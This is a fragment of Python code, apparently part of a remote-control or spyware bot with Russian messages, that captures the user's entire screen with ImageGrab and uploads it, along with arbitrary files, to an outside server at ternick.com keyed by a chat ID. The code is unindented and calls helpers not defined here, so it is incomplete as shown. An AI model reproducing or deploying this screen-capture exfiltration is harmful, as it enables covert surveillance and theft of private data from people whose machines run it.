from PIL import ImageGrab
from requests import post
def send_image(chat_id, path_to_file=None, file_in_memory=None):
if path_to_file != None:
f_name = basename(path_to_file)
url = 'http://ternick.com/check_id.php?func=sendimage&id={}'.format(chat_id)
with open(path_to_file, 'rb') as f:
file = {'file': (f_name, f.read())}
r = post(url, files=file)
if r.ok:
pass
else:
send_message(chat_id, 'Неудача !')
elif file_in_memory != None:
print(file_in_memory)
name = get_random_value(5)
url = 'http://ternick.com/check_id.php?func=sendimage&id={}'.format(chat_id)
file = {'file': (name + '.bmp', file_in_memory)}
r = post(url, files=file)
if r.ok:
pass
else:
send_message(chat_id, 'Неудача !')
else:
send_message(chat_id, 'Неудача в кубе !')
def get_screen(chat_id):
img = ImageGrab.grab()
send_image(chat_id, file_in_memory=img.tobytes())